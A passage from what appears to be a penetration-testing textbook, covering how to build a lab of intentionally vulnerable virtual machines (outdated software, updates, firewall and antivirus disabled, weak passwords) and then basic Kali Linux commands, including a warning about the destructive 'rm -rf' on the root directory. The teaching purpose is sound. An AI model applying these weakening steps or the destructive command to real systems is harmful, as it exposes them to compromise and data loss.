Next, download and install the Smartphone Pentest Framework (SPF), which we’ll use for mobile attacks. Use git to download the source code. Change to the downloaded Smartphone-Pentest-Framework directory as shown here. root@kali:~# git clone -b SPFBook https://github.com/georgiaw/Smartphone-Pentest-Framework.git root@kali:~# cd Smartphone-Pentest-Framework

Now open the file kaliinstall in the nano text editor. The first few lines are shown in Listing 1-5. Note the lines that refer to /root/adt-bundle-linux
-x86-20131030/sdk/tools/android. If the name of your ADT bundle folder is different (due to the release of a subsequent version), change this value to match the correct place where you installed the Android ADT in the previous section.
Setting Up Your Virtual Lab 27

root@kali:~/Smartphone-Pentest-Framework# nano kaliinstall
#!/bin/sh
## Install needed packages echo -e "$(tput setaf 1)\nInstallin serialport, dbdpg, and expect for perl\n"; echo "$(tput sgr0)" echo -e "$(tput setaf 1)#########################################\n"; echo "$(tput sgr0)" echo $cwd;
#apt-get -y install libexpect-perl libdbd-pg-perl libdevice-serialport-perl; apt-get install ant
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_ apis-google-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-14 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_ apis-google-14 -a
--snip-Listing 1-5: Installing Smartphone Pentest Framework

Now run the kaliinstall script, as shown here. root@kali:~/Smartphone-Pentest-Framework# ./kaliinstall

This will set up the SPF, which we’ll use in Chapter 20.
Finally, we need to make one more change to the configuration file for
SPF. Change directories to Smartphone-Pentest-Framework/frameworkconsole and open the file config in nano. Look for the option #LOCATION OF ANDROID
SDK. If your ADT bundle folder name has changed since the version current at the time of this writing, change it accordingly in the line that begins with
ANDROIDSDK=.
root@kali:~/Smartphone-Pentest-Framework# cd frameworkconsole/ root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# nano config
--snip-#LOCATION OF ANDROID SDK
ANDROIDSDK = /root/adt-bundle-linux-x86-20131030/sdk
--snip--

Target Virtual Machines
We’ll use three custom-built target machines to simulate vulnerabilities often found in client environments: Ubuntu 8.10, Windows XP SP3, and
Windows 7 SP1.
You’ll find a link to a torrent containing the Ubuntu virtual machine at http://www.nostarch.com/pentesting/. The target system is compressed using the 7-Zip archive, and 1stPentestBook?! is the password for the archive. You can use 7-Zip programs to open the archives for all platforms. For the Windows and Linux packages, use http://www.7-zip.org/download.html; for Mac OS, use
Ez7z at http://ez7z.en.softonic.com/mac/. The archive is ready for use as soon as it is unzipped.
28 Chapter 1

To set up the Windows virtual machines, you’ll need to install and configure Windows XP SP3 and 32-bit Windows 7 SP1. Sources for the installation media include TechNet and MSDN (the Microsoft Developer Network), among others. (You should be able to use your Windows virtual machines on a trial basis for 30 days without a license key.)

Creating the Windows XP Target
Your Windows XP target should be a base installation of Windows XP SP3 with no additional security updates. (Visit my website at http://www
.bulbsecurity.com/ for more information about finding a copy of Windows XP.)
Once you have a copy of Windows XP SP3, here’s how to install it on
Microsoft Windows or Mac OS.

VMware Player on Microsoft Windows
To install Windows XP on VMware Player for Windows:
1. Choose Create A New Virtual Machine in VMware Player and point the New Virtual Machine Wizard to the Windows XP installation disk or ISO image. Depending on your source disk or image, you may be offered the option to use Easy Install (if you’re installing a version with a license key), or you may see a yellow triangle warning, “Could not detect which operating system is in this disc image. You will need to specify which operating system will be installed.” In the latter case, just press Next.
2. In the Select a Guest Operating System dialog, select Microsoft Windows in the Guest operating system section and your version of Windows XP in the drop-down box, as shown in Figure 1-20, and press Next.

Figure 1-20: Selecting your version of Windows XP

Setting Up Your Virtual Lab 29

3. In the next dialog, enter Bookxp XP SP3 as the name of your virtual machine and press Next.
4. In the Specify Disk Capacity dialog, accept the recommended hard disk size for your virtual machine of 40GB and check the box for Store virtual disk as a single file, as shown in Figure 1-21, and press Next.

Figure 1-21: Specifying the disk capacity
Note

The Virtual Machine will not take up the entire 40GB; it will only take up space on your hard drive as needed. This is just a maximum value.
5. In the Ready to Create Virtual Machine dialog, shown in Figure 1-22, click Customize Hardware.

Figure 1-22: Customizing your hardware

30 Chapter 1

6. In the Hardware dialog, choose Network Adapter, and in the Network
Connection field that appears, select Bridged: Connected directly to the physical network. Next, click Configure Adapters and select the adapter you’re using to connect to the Internet, as shown in Figure 1-23.
Then press OK, Close, and Finish.

Figure 1-23: Configuring your network adapter as bridged

You should now be able to play your Windows XP virtual machine.
Continue to the instructions for installing and activating Windows XP in “Installing and Activating Windows” on page 32.

VMware Fusion on Mac OS
In VMware Fusion, go to File4New4Import from disk or image and point it to the Windows XP installation disk or image, as shown in Figure 1-24.
Follow the prompts to create a fresh installation of Windows XP SP3.

Setting Up Your Virtual Lab 31

Figure 1-24: Creating a new virtual machine

Installing and Activating Windows
As part of the installation process, you will be prompted for a Windows license key. If you have one, enter it here. If not, you should be able to use the virtual machine on a trial basis for 30 days. To continue without entering a license key, click Next when prompted for the key. A pop-up will warn you that entering a license key is recommended and ask if you would like to enter one now, as shown in Figure 1-25. Just click No.

Figure 1-25: License key dialog

32 Chapter 1

As shown in Figure 1-26, when prompted, set Computer name to Bookxp.
Set Administrator password to password.

Figure 1-26: Setting the computer name and Administrator password

You can leave the date/time and TCP/IP settings at their defaults when prompted. Likewise, leave the Windows XP target as part of the workgroup
WORKGROUP instead of joining it to a domain, as shown in Figure 1-27.

Figure 1-27: Workgroup settings
Setting Up Your Virtual Lab 33

Tell Windows not to automatically install security updates, as shown in
Figure 1-28. This step is important, because some of the exploits we will run rely on missing Windows patches.

Figure 1-28: Turning off automatic security updates

You will then be prompted to activate Windows. If you entered a license key, go ahead and activate it. Otherwise you can choose No, remind me every few days, as shown in Figure 1-29.

Figure 1-29: Activating Windows

34 Chapter 1

Now create user accounts georgia and secret, as shown in Figure 1-30. We will create passwords for these users after setup is finished.

Figure 1-30: Adding users

When Windows starts up, log in as the user georgia with no password. Installing VMware Tools
Now install VMware Tools, which will make it easier to use your virtual machine by, for example, letting you copy/paste and drag programs onto the virtual machine from the host system.
VMware Player on Microsoft Windows
In VMware Player, install VMware Tools from Player4Manage4Install
VMware Tools, as shown in Figure 1-31. The VMware Tools installer should automatically run in Windows XP.

Setting Up Your Virtual Lab 35

Figure 1-31: Installing VMware Tools in VMware Player

VMware Fusion on Mac OS
Install VMware Tools from Virtual Machines4Install VMware Tools, as shown in Figure 1-32. The VMware Tools installer should automatically run in Windows XP.

Figure 1-32: Installing VMware Tools in VMware Fusion

36 Chapter 1

Turning Off Windows Firewall
Now open the Control Panel from the Windows Start menu. Click Security
Center4Windows Firewall to turn off the Windows Firewall, as shown in
Figure 1-33.

Figure 1-33: Turning off the Windows firewall

Setting User Passwords
Again in the Control Panel, go to User Accounts. Click the user georgia and then select Create a password. Set georgia’s password to password, as shown in Figure 1-34. Do the same thing for the user secret, but set secret’s password to Password123.

Figure 1-34: Setting a user password
Setting Up Your Virtual Lab 37

Setting a Static IP Address
Next, set a static IP address so your networking information won’t change as you work through the book. But first we need to figure out the address of our default gateway.
Ensure that your Windows XP system is set to use bridged networking in VMware. By default, your virtual machine will automatically pull an IP address using DHCP.
To find the default gateway, open a Windows command prompt by going to Start4Run, entering cmd, and clicking OK. In the command prompt, enter ipconfig. This will show you the networking information, including the default gateway.
C:\Documents and Settings\georgia>ipconfig
Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific
IP Address. . . . .
Subnet Mask . . . .
Default Gateway . .

DNS
. .
. .
. .

Suffix
. . . .
. . . .
. . . .

.
.
.
.

:
:
:
:

XXXXXXXX
192.168.20.10
255.255.255.0
192.168.20.1

C:\Documents and Settings\georgia>

In my case, the IP address is 192.168.20.10, the subnet mask is
255.255.255.0, and the default gateway is 192.168.20.1.
1. In the Control Panel, go to Network and Internet Connections and click Network Connections at the bottom of the screen.
2. Right-click Local Area Connection and then select Properties.
3. Highlight Internet Protocol (TCP/IP) and select Properties. Now enter a static IP address and set the Subnet mask and Default gateway to match the data you found with the ipconfig command, as shown in
Figure 1-35. Set the Preferred DNS server to your default gateway as well.
Now it’s time to see if our virtual machines can communicate. Once you’re sure that the settings match, return to the Kali virtual machine (start it if you had shut it down) and enter ping <static ip address of your Windows
XP virtual machine>, as shown here.
Note

My IP address is 192.168.20.10. Throughout the book, you should replace this value with the IP address of your systems. root@kali:~# ping 192.168.20.10
PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=128 time=3.06 ms
^C

38 Chapter 1

Figure 1-35: Setting a static IP address

Enter ctrl-C to stop the ping command. If you see output beginning with 64 bytes from <ip address of XP>, as shown previously, your virtual machines are able to communicate. Congratulations! You’ve set up a network of virtual machines.
If instead you see a message including the text Destination Host
Unreachable, troubleshoot your networking: Make sure your virtual machines are on the same bridged virtual network, check that your default gateway is correct, and so on.

Making XP Act Like It’s a Member of a Windows Domain
Finally, we need to modify a setting in Windows XP so that it will behave as if it were a member of a Windows domain, as many of your clients will be.
I’m not having you set up an entire Windows domain here, but during post exploitation, a couple of exercises will simulate a domain environment.
Return to your XP virtual machine and follow these steps.
1. Select Start4Run and enter secpol.msc to open the Local Security
Settings panel.
2. Expand Local Policies on the left and double-click Security Options on the right.
3. In the Policy list in the pane on the right, double-click Network access:
Sharing and security model for local accounts and choose Classic
- local users authenticate as themselves from the drop-down list, as shown in Figure 1-36.

Setting Up Your Virtual Lab 39

Figure 1-36: Changing a local security setting to make your target act like a member of a
Windows domain

4. Click Apply and then OK.
5. Close any open windows in your virtual machine.

Installing Vulnerable Software
In this section we’ll install some vulnerable software on our Windows XP virtual machine. We’ll be attacking this software in later chapters. Open your Windows XP virtual machine and, while still logged in as user georgia, follow the directions to install each of the packages listed here.
Zervit 0.4
Download Zervit version 0.4 from http://www.exploit-db.com/exploits/12582/.
(Click the Vulnerable App option to download the files.) Unzip the downloaded archive and double-click the Zervit program to open and run it.
Then enter port number 3232 in the console when the software starts.
Answer Y to allowing directory listing, as shown in Figure 1-37. Zervit will not automatically restart when you reboot Windows XP, so you will need to restart it if you reboot.

40 Chapter 1

Figure 1-37: Starting Zervit 0.4

SLMail 5.5
Download and run SLMail version 5.5 from http://www.exploit-db.com/ exploits/638/, using the default options when prompted. Just click Next for all of the options and don’t change anything. If you get a warning about a domain name, just ignore it and click OK. We don’t really need to deliver any email here.
Once SLMail is installed, restart your virtual machine. Then open
Start4All Programs4SL Products4SLMail4SLMail Configuration.
In the Users tab (default), right-click the SLMail Configuration window and choose New4User, as shown in Figure 1-38.

Figure 1-38: Adding a user in SLMail

Setting Up Your Virtual Lab 41

Click the newly created user icon, enter username georgia, and fill in the information for the user, as shown in Figure 1-39. The mailbox name should be georgia with password password. Keep the defaults and press OK once you’ve finished.

Figure 1-39: Setting the user information in SLMail

3Com TFTP 2.0.1
Next, download 3Com TFTP version 2.0.1 as a zipped file from http://www
.exploit-db.com/exploits/3388/. Extract the files and copy 3CTftpSvcCtrl and
3CTftpSvc to the directory C:\Windows, as shown in Figure 1-40.

Figure 1-40: Copying 3Com TFTP to C:\Windows

42 Chapter 1

Then open 3CTftpSvcCtrl (the blue 3 icon) and click Install Service, as shown in Figure 1-41.

Figure 1-41: Installing 3Com TFTP

Click Start Service to start 3Com TFTP for the first time. From now on, it will automatically start when you boot up the computer. Press Quit to exit.
XAMPP 1.7.2
Now we’ll install an older version of the XAMPP software, version 1.7.2, from http://www.oldapps.com/xampp.php?old_xampp=45/. (The older version of
Internet Explorer on Windows XP seems to have some trouble opening this page. If you have trouble, download the software from your host system and copy it onto Windows XP’s desktop.)
1. Run the installer and accept the default options as they’re presented to you. When installation is finished, choose option 1. start XAMPP Control
Panel, as shown in Figure 1-42.

Figure 1-42: Starting XAMPP Control Panel

Setting Up Your Virtual Lab 43

2. In the XAMPP Control Panel, install the Apache, MySQL, and FileZilla services (select the Svc checkbox to the left of the service name). Then click the Start button for each service. Your screen should look like the one shown in Figure 1-43.

Figure 1-43: Installing and starting XAMPP services

3. Click the Admin button for FileZilla in the XAMPP Control Panel. The
Admin panel is shown in Figure 1-44.

Figure 1-44: FileZilla Admin panel

4. Go to Edit4Users to open the Users dialog, shown in Figure 1-45.
5. Click the Add button on the right of the dialog box.
6. In the Add User Account dialog box, enter georgia and press OK.
44 Chapter 1

Figure 1-45: Adding an FTP user

7. With georgia highlighted, check the Password box under Account
Settings and enter password.
Click OK. When prompted to share a folder, browse to the georgia’s
Documents folder on Windows and select it to share it, as shown in Figure 1-46.
Leave the defaults for all other checkboxes, as shown in the figure. Click
OK once you’ve finished and exit the various open windows.

Figure 1-46: Sharing a folder via FTP

Setting Up Your Virtual Lab 45

Adobe Acrobat Reader
Now we’ll install Adobe Acrobat Reader version 8.1.2 from http://www.oldapps
.com/adobe_reader.php?old_adobe=17/. Follow the default prompts to install it.
Click Finish once you’re done. (Here again you may need to download the file to your host system and copy it to Windows XP’s desktop.)
War-FTP
Next, download and install War-FTP version 1.65 from http://www.exploit-db
.com/exploits/3570/. Download the executable from exploit-db.com to georgia’s desktop and run the downloaded executable to install. You do not need to start the FTP service; we will turn it on when we discuss exploit development in Chapters 16 through 19.
WinSCP
Download and install the latest version of WinSCP from http://winscp.net/.
Choose the Typical Installation option. You can uncheck the additional add-ons. Click Finish once you’re done.

Installing Immunity Debugger and Mona
Now we’ll finish up the Windows XP virtual machine by installing a debugger, a tool that helps detect errors in computer programs. We’ll be using the debugger in the exploit development chapters. Visit the Immunity
Debugger registration page at http://debugger.immunityinc.com/ID_register.py.
Complete the registration and then press the Download button. Run the installer. When asked if you want to install Python, click Yes. Accept the license agreement and follow the default installation prompts. When you close the installer, the Python installation will automatically run. Use the default installation values.
Once Immunity Debugger and Python have been installed, download mona.py from http://redmine.corelan.be/projects/mona/repository/raw/mona.py/.
Copy mona.py to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands, as shown in Figure 1-47.
Open Immunity Debugger, and at the command prompt at the bottom of the window, enter !mona config -set workingfolder c:\logs\%p, as shown in
Figure 1-48. This command tells mona to log its output to C:\logs\<program name>, where <program name> is the program Immunity Debugger is currently debugging.
Now our Windows XP target is set up and ready to go.

46 Chapter 1

Figure 1-47: Installing Mona

Figure 1-48: Setting up Mona’s logs

Setting Up Your Virtual Lab 47

Setting Up the Ubuntu 8.10 Target
Because Linux is open source, you can simply download the Linux virtual machine as part of the torrent for this book. Unzip the 7-Zip archive
BookUbuntu.7zip and use the password 1stPentestBook?! to open the archive.
Open the .vmx file in VMware. If you are prompted with a message that says the virtual machine appears to be in use, click Take Ownership and, as with Kali, select I copied it. The username and password for the virtual machine itself are georgia:password.
Once you have the Ubuntu virtual machine loaded, make sure the network interface is set to Bridged in VMware and click the networking icon
(two computers) at the top right of the screen to attach the virtual machine to the network. Do not install any updates if prompted. As with Windows XP, we will exploit out-of-date software on this system. Now this virtual machine is all set up. (I’ll show you how to set a static IP address in Linux in Chapter 2.)

Creating the Windows 7 Target
As with Windows XP, you’ll need to install a copy of Windows 7 SP1 in
VMware by loading your image or DVD. A 30-day trial version of 32-bit
Windows 7 Professional SP1 will work fine, but you’ll need to activate it after
30 days if you wish to continue using it. To find a legal version of Windows 7
SP1, try one of the following:
•
•
Note

Visit http://www.softpedia.com/get/System/OS-Enhancements/Windows-7.shtml.
Visit http://technet.microsoft.com/en-us/evalcenter/dn407368.

Your school or workplace may have access to programs like DreamSpark or BizSpark that give you access to Windows operating systems. You can also check my website
(http://www.bulbsecurity.com/) for more resources.

Creating a User Account
After installing Windows 7 Professional SP1, opt out of security updates and create user Georgia Weidman as an administrator with a password of password, as shown in Figures 1-49 and 1-50.
Again opt out of automatic updates. When prompted, set the computer’s current location to a work network. Once the installation has finished, log in to the account Georgia Weidman. Leave the Windows Firewall enabled.
VMware will reboot Windows 7 a few times as it installs everything.
Now tell VMware to install VMware Tools, as you did in the Windows XP section. After instructing VMware to install VMware Tools in the virtual machine, if the installer does not automatically run, go to My Computer and run the VMware Tools installer from the virtual machine’s DVD drive, as shown in Figure 1-51.

48 Chapter 1

Figure 1-49: Setting a username

Figure 1-50: Setting a password for the user Georgia Weidman

Setting Up Your Virtual Lab 49

Figure 1-51: Installing VMware Tools

Opting Out of Automatic Updates
Though our attacks on Windows 7 will largely rely on flaws in third-party software rather than missing Windows patches, let’s once again opt out of
Windows updates for this virtual machine. To do this, go to Start4 Control
Panel4System and Security. Then under Windows Update, click Turn
Automatic Updating On or Off. Set Important updates to Never check for updates (not recommended) as shown in Figure 1-52. Click OK.

Figure 1-52: Opting out of automatic updates

50 Chapter 1

Setting a Static IP Address
Set a static IP address by choosing Start4 Control Panel4Network and
Internet4Network and Sharing Center4 Change Adapter Settings4Local
Area Network. Now right-click and choose Properties4Internet Protocol
Version 4 (TCP/IPv4)4Properties. Set these values as you did for Windows
XP (discussed in “Setting a Static IP Address” on page 38), but use a different value for the Windows 7 IP address, as shown in Figure 1-53. If asked whether to configure this network as Home, Work, or Public, choose Work.
(Be sure that your virtual machine network setting is configured to use a bridged adapter.)

Figure 1-53: Setting a static IP address

Because the Windows firewall is turned on, Windows 7 won’t respond to a ping from our Kali system. Therefore, we’ll ping our Kali system from Windows 7. Start your Kali Linux virtual machine, and from your
Windows 7 virtual machine, click the Start button. Then enter cmd in the
Run dialog to open a Windows command prompt. At the prompt, enter the following. ping <IP Address of Kali>

If everything is working, you should see replies to the ping request as in
“Setting a Static IP Address” on page 38.

Setting Up Your Virtual Lab 51

Adding a Second Network Interface
Now shut down your Windows 7 virtual machine. We’re going to add a second network interface to the Windows 7 virtual machine that will allow the Windows 7 system to be part of two networks. We’ll use this setup during post exploitation to simulate attacking additional systems on a second network. In VMware Player on Microsoft Windows, choose Player4Manage4
Virtual Machine Settings4Add, select Network Adapter, and press Next.
This adapter will be Network Adapter 2. In VMware Fusion on Mac OS, go to Virtual Machine Settings, select Add a Device, and select a network adapter. Set this new adapter to the Host Only network. Press OK, and the virtual machine should restart. (We do not need to set a static IP address for Network Adapter 2.) When the virtual machine restarts, open Virtual
Machine Settings again, and you should see the two network adapters listed. Both should be connected when your computer powers on.

Installing Additional Software
Now install the following software in your Windows 7 virtual machine, using default settings across the board:
•
•

•
•

52 Chapter 1

Java 7 Update 6, an out-of-date version of Java, from http://www.oldapps
.com/java.php?old_java=8120/.
Winamp version 5.55 from http://www.oldapps.com/winamp.php?old_ winamp=247/. (Uncheck the changes to your search engine and so on.)
The latest version of Mozilla Firefox from http://www.mozilla.org/.
Microsoft Security Essentials from http://windows.microsoft.com/en-us/ windows/security-essentials-download/. (Download the latest antivirus signatures, making sure to download the correct version for your 32-bit
Windows install. Don’t turn on automatic sample submission or scan on install. Also, disable real-time protection for now. We will enable this feature when we study bypassing antivirus software in Chapter 12. This setting can be found on the Settings tab under Real-time Protection.
Uncheck Turn on real-time protection (recommended), as shown in
Figure 1-54. Click Save changes.)

Figure 1-54: Turning off real-time protection

Finally, install the BookApp custom web application found in the torrent for this book. (1stPentestBook?! is the password for the archive.) Drag and drop the BookApp folder on the Windows 7 virtual machine. Then follow the instructions in InstallApp.pdf detailing how to install BookApp. Here is a high-level overview of the instructions.
1. Run Step1-install-iis.bat as an administrator by right-clicking the .bat file and choosing Run as administrator. (Once install finishes, you can close any DOS windows that are still up.)
2. Navigate to the SQL folder and run SQLEXPRWT_x86_ENU.EXE. Detailed instructions with screenshots are included in the InstallApp PDF.
3. Install Service Pack 3 by running SQLServer2008SP3-KB2546951-x86-ENU
.exe. When warned that program has known compatibility issues, click
OK to run it and complete the install. Choose to accept any changes.
4. Using SQL Server Configuration Manager, enable Named Pipes.

Setting Up Your Virtual Lab 53

5. Navigate back to the main app folder and run Step2-Modify-FW.bat as an administrator. 6. Install XML support for MS SQL with sqlxml_x86-v4.exe from the SQL folder. 7. Run Step3-Install-App.bat as an administrator from the main app folder.
8. Use MS SQL Management Studio to run db.sql from the SQL folder, as described in detail in the InstallApp PDF.
9. Finally, change the user permissions on the AuthInfo.xml file in the book app folder to give full permissions to IIS_USERS.

Summary
We set up our virtual environment, downloaded and customized Kali Linux for attacks, configured our virtual network, and configured our target operating systems—Windows XP, Windows 7, and Ubuntu.
In the next chapter, we will get used to working with the Linux command line, and we’ll be on our way to learning how to use the many pentesting tools and techniques in this book.

54 Chapter 1

2

Using K ali Linux

You will use Kali Linux as the attack platform throughout this book. Kali, the successor to the popular
BackTrack Linux, is a Debian-based distribution that comes with a plethora of penetration testing tools preinstalled and preconfigured. Anyone who’s ever tried to set up a pentesting box from scratch the day before a big engagement knows that getting everything working correctly can be a real pain. Having everything preconfigured in Kali can save a lot of time and headaches. Kali Linux works just like the standard Debian
GNU/Linux distribution, with a lot of extra tools.
Rather than point and click your way through Kali, you’ll use the Linux command line because that’s where the real power lies. In this chapter we’ll look at how to perform some common Linux tasks from the command line.
If you’re already a Linux expert, you can skip this chapter and move on to
Chapter 3; if not, take some time and dive in.

Linux Command Line
The Linux command line looks like this: root@kali:~# Like a DOS prompt or the Mac OS terminal, the Linux command line gives you access to a command processor called Bash that allows you to control the system by entering text-based instructions. When you open the command line you’ll see the prompt root@kali#. Root is the superuser on Linux systems, and it has complete control of Kali.
To perform operations in Linux, you enter commands along with any relevant options. For example, to view the contents of root’s home directory, enter the command ls as shown here. root@kali:~# ls
Desktop

As you can see, there’s not much in the root directory, only a folder called Desktop.

The Linux Filesystem
In the Linux world, everything is a file: keyboards, printers, network devices—everything. All files can be viewed, edited, deleted, created, and moved. The Linux filesystem is made up of a series of directories that branch off from the root of the filesystem (/).
To see your current directory, enter pwd at the terminal: root@kali:~# pwd
/root

Changing Directories
To move to another directory, enter cd directory using either the absolute or relative path to the new directory, based your current location. The absolute path is the path to a file in relation to the root directory (/). For example, to change to your desktop from anywhere, you could enter the absolute path to the desktop with cd /root/Desktop to reach the root user’s desktop. If you were in the directory /root (the root user’s home directory), you could use the relative path to the desktop (that is, relative to your current location) by entering cd Desktop, which would also take you to the desktop.
The command cd .. takes you back one level in the filesystem, as shown here. root@kali:~/Desktop# cd .. root@kali:~/# cd ../etc root@kali:/etc# 56 Chapter 2

Entering cd .. from root’s Desktop directory takes us back to root’s home directory. Entering cd ../etc from there moves us back up to the root of the filesystem and then to the /etc directory.

Learning About Commands: The Man Pages
To learn more about a command and its options and arguments, you can view its documentation (called its manual page, or man page) by entering man command. For example, to learn more about the ls command enter man ls as shown in Listing 2-1. root@kali:~# man ls
LS(1)

User Commands

LS(1)

NAME ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]... u
DESCRIPTION v
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.
Mandatory
too.

arguments

to

long

options are mandatory for short options

-a, --all w do not ignore entries starting with .
-A, --almost-all do not list implied . and ..
--snip--l
use a long listing format
--snip-Listing 2-1: Linux man page

The man page gives useful (if a bit unfriendly looking) information about the ls command including its usage u, description v, and available options w.
As you can see in the description section at v, the ls command lists all files in the current working directory by default, but you can also use ls to get information about a particular file. For example, according to the man page you can use the -a option with ls to show all files, including hidden directories—directories not shown in the default ls listing—as shown in
Listing 2-2.

Using Kali Linux 57

root@kali:~# ls -a
.
..
.android
.bash_history
--snip--

.mozilla
.msf4
.mysql_history
.nano_history

Listing 2-2: Using an option with ls

As you can see, there are several hidden directories in the root directory, all of which are preceded by a period (.) character. (In Chapter 8, we’ll see how these sometimes-hidden directories can lead to a system compromise.) You can also see the entries . and .., which denote the current directory and the parent directory, respectively.

User Privileges
Linux user accounts offer resources to a particular individual or service.
A user may log in with a password and be offered certain resources on the
Linux system, such as the ability to write files and browse the Internet.
That user may not be able to see files that belong to other users and can have reasonable assurance that other users can’t see his or her files either.
In addition to traditional user accounts used by a person who logs in with a password and accesses the system, Linux systems can allow software to have a user account. The software can have the ability to use system resources to do its job, but it cannot read other users’ private files. The accepted best practice on Linux systems is to run day-to-day commands as an unprivileged user account instead of running everything as the privileged root user to avoid inadvertently harming your system or granting excessive privilege to the commands and applications you run.

Adding a User
By default, Kali offers only the privileged root account. Though many security tools require root privileges to run, you may want to add another unprivileged account for everyday use to reduce the potential for damage to your system. Remember, the root account can do anything on Linux, including corrupting all of your files.
To add a new user georgia to your Kali system use the adduser command, as shown in Listing 2-3. root@kali:~# adduser georgia
Adding user `georgia' ...
Adding new group `georgia' (1000) ...
Adding new user `georgia' (1000) with group `georgia' ... u
Creating home directory `/home/georgia' ... v
Copying files from `/etc/skel' ...
Enter new UNIX password: w
Retype new UNIX password:

58 Chapter 2

passwd: password updated successfully
Changing the user information for georgia
Enter the new value, or press ENTER for the default
Full Name []: Georgia Weidman x
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
Listing 2-3: Adding a new user

As you can see, in addition to adding a user to the system, a group georgia is created, a new user is added to this group u, a home directory is created for the user v, and the system prompts for information about the user, such as a password w and the user’s full name x.

Adding a User to the sudoers File
When you need to do something that requires root privileges as a regular user, use the sudo command along with the command that you want to run as root, and then enter your password. For the newly created user georgia to be able to run privileged commands you need to add her to the sudoers file, which specifies which users can use the sudo command. To do so, enter adduser username sudo as shown here. root@kali:~# adduser georgia sudo
Adding user 'georgia' to group `sudo' ...
Adding user georgia to group sudo
Done.

Switching Users and Using sudo
To switch users in your terminal session, say from the root user to georgia, use the su command as shown in Listing 2-4. root@kali:~# su georgia georgia@kali:/root$ adduser john bash: adduser: command not found u georgia@kali:/root$ sudo adduser john
[sudo] password for georgia:
Adding user `john' ... v
Adding new group `john' (1002) ...
Adding new user `john' (1002) with group `john' ...
--snip-georgia@kali:/root$ su
Password:
root@kali:~#
Listing 2-4: Switching to a different user

Using Kali Linux 59

You switch users with the su command. If you try to run commands
(such as the adduser command) that require more privileges than the current user (georgia), the command is unsuccessful (command not found) u because you can run the adduser command only as root.
Luckily, as discussed previously, you can use the sudo command to run a command as root. Because the georgia user is a member of the sudo group, you can run privileged commands, and you can see user john is added v to the system.
To change back to the root user, enter the su command with no username. You will be prompted for the root’s password (toor).

Creating a New File or Directory
To create a new, empty file called myfile, use the touch command. root@kali:# touch myfile

To create a new directory in your current working directory, enter mkdir directory as shown here. root@kali:~# mkdir mydirectory root@kali:~# ls
Desktop
mydirectory root@kali:~# cd mydirectory/

myfile

Use ls to confirm that the new directory has been created, and then change to mydirectory using cd.

Copying, Moving, and Removing Files
To copy a file, use the cp command as shown here. root@kali:/mydirectory# cp /root/myfile myfile2

The syntax is cp source destination. When using cp, the original file is left in place, and a copy is made at the desired destination.
Similarly, you can move a file from one location to another using the mv command. The syntax is identical to cp, but this time the file is removed from the source location.
You can remove a file from the filesystem by entering rm file. To remove files recursively use the -r command.
WARNING

60 Chapter 2

Be careful when removing files, particularly recursively! Some hackers joke that the first command to teach Linux beginners is rm -rf from the root directory, which forcibly deletes the entire filesystem. This teaches new users the power of performing actions as root. Don’t try that at home!

Adding Text to a File
The echo command echoes what you enter to the terminal, as shown here. root@kali:/mydirectory# echo hello georgia hello georgia

To save text to a file, you can redirect your input to a file instead of to the terminal with the > symbol. root@kali:/mydirectory# echo hello georgia > myfile

To see the contents of your new file you can use the cat command. root@kali:/mydirectory# cat myfile hello georgia

Now echo a different line of text into myfile as shown next. root@kali:# echo hello georgia again > myfile root@kali:/mydirectory# cat myfile hello georgia again

The > overwrites the previous contents of the file. If you echo another line into myfile, that new line overwrites the output of the previous command. As you can see, the contents of myfile now reads hello georgia again.

Appending Text to a File
To append text to a file, use >> as shown here. root@kali:/mydirectory# echo hello georgia a third time >> myfile root@kali:/mydirectory# cat myfile hello georgia again hello georgia a third time

As you can see, appending preserves the previous contents of the file.

File Permissions
If you look at the long output of ls -l on myfile, you can see the current permissions for myfile. root@kali:~/mydirectory# ls -l myfile
-rw-r--r-- 1 root root 47 Apr 23 21:15 myfile

From left to right you see the file type and permissions (-rw-r—r--), the number of links to the file (1), the user and group that own the file (root), the file size (47 bytes), the last time the file was edited (April 23, 21:15), and finally the filename (myfile).
Using Kali Linux 61

Linux files have permissions to read (r), write (w), and execute (x) and three sets of user permissions: permissions for the owner, the group, and all users. The first three letters denote the permissions for the owner, the following three denote the permissions for the group, and the final three denote the permissions for all users. Since you created myfile from the root user account, the file is owned by user root and group root, as you can see in the output with root root. User root has read and write permissions for the file (rw). Other users in the group, if there are any, can read the file (r) but not write to or execute it. The last r shows that all users on the filesystem can read the file.
To change permissions on a file, use the chmod command. You can use chmod to specify permissions for the owner, the group, and the world. When specifying permissions use the numbers from 0 through 7 as shown in
Table 2-1.
Table 2-1: Linux File Permissions

Integer Value

Permissions

Binary Representation

7

full

111

6

read and write

110

5

read and execute

101

4

read only

100

3

write and execute

011

2

write only

010

1

execute only

001

0

none

000

When entering new file permissions, you use one digit for the owner, one for the group, and one for world. For example, to give the owner full permissions but the group and the world no permissions to read, write, or execute a file, use chmod 700 like this: root@kali:~/mydirectory# chmod 700 myfile root@kali:~/mydirectory# ls -l myfile
-rwx------u 1 root root 47 Apr 23 21:15 myfile

Now when you run the ls -l command on myfile, you can see that root has read, write, and execute (rwx) permissions and the other sets are blank u.
If you try to access the file as any user other than root, you’ll get a permission denied error.

Editing Files
Perhaps no debate brings out such passion among Linux users as which is the best file editor. We’ll look at the basics of using two popular editors, vi and nano, beginning with my favorite, nano.
62 Chapter 2

root@kali:~/mydirectory# nano testfile.txt

Once in nano you can begin adding text to a new file called testfile.txt.
When you open nano, you should see a blank file with help information for nano shown at the bottom of the screen, as shown here.
^G Get Help
^X Exit

^O WriteOut
^J Justify

[ New File ]
^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos
^W Where Is ^V Next Page ^U UnCut Text^T To Spell

To add text to the file, just start typing.

Searching for Text
To search for text in a file, use ctrl-W, and then enter the text to search for at the search prompt as shown next.
